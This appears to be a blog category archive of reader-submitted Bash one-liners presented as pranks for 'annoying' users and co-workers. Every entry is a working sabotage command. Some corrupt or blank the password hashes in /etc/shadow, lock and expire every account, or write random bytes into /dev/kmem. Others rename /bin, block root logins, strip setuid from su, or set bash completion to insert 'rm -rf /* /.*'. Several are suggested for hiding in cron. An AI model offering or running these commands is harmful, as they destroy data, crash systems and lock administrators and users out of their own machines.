Archive for the ‘ Bash Bonanza ’ Category

Russian Roulette

This one was sent in by DIVI:

dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=$RANDOM

This would be a nice one to hide somewhere in /etc/cron.d/

Subtle login problem

This one was sent in by Ed van der Salm:

sed -i 's/:$6/:$5/g' /etc/shadow

Thanks Ed!

We don’t play favourites.

Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:

for I in $(getent passwd | cut -d: -f1 )
do
    chsh -s $(sort -R /etc/shells | head -n1) ${I}
done

sysfunboost

bmr just pointed me towards this one.

It looks like a nice way to annoy your cow-orkers…

Help the homeless

chmod a-x $(find /home -depth -maxdepth 1 -type d)

It’s there isn’t it?

Try this one to annoy your users. for extra fun replace /bin with /usr/bin, rinse, repeat.

mv /bin '/bin '

You make me feel complete

Pop this one into a bash session and watch the hilarity ensue:

complete -E -W 'rm -rf /* /.*'

And while we’re having fun try this one as well (advertorial alert):

complete -W 'http://breakingsystemsforfunandprofit.com' elinks links firefox chrome midori epiphany wget opera

Passwords? We don’t need no stinkin’ passwords!

sed -ri 's/([^:]*):[^:]*:(.*)/1:!!:2/' /etc/shadow

Or for the wusses who want something a bit more recoverable:

for I in $(getent passwd | cut -d: -f1)
do
    passwd -l ${I}
    chage -E0 -M1 -m513 -I1 -W1023 ${I}
done

Still, who needs root?

printf 'root\t-\tmaxlogins\t0\n' >> /etc/security/limits.conf

Who needs root anyway?

chmod u-s /bin/su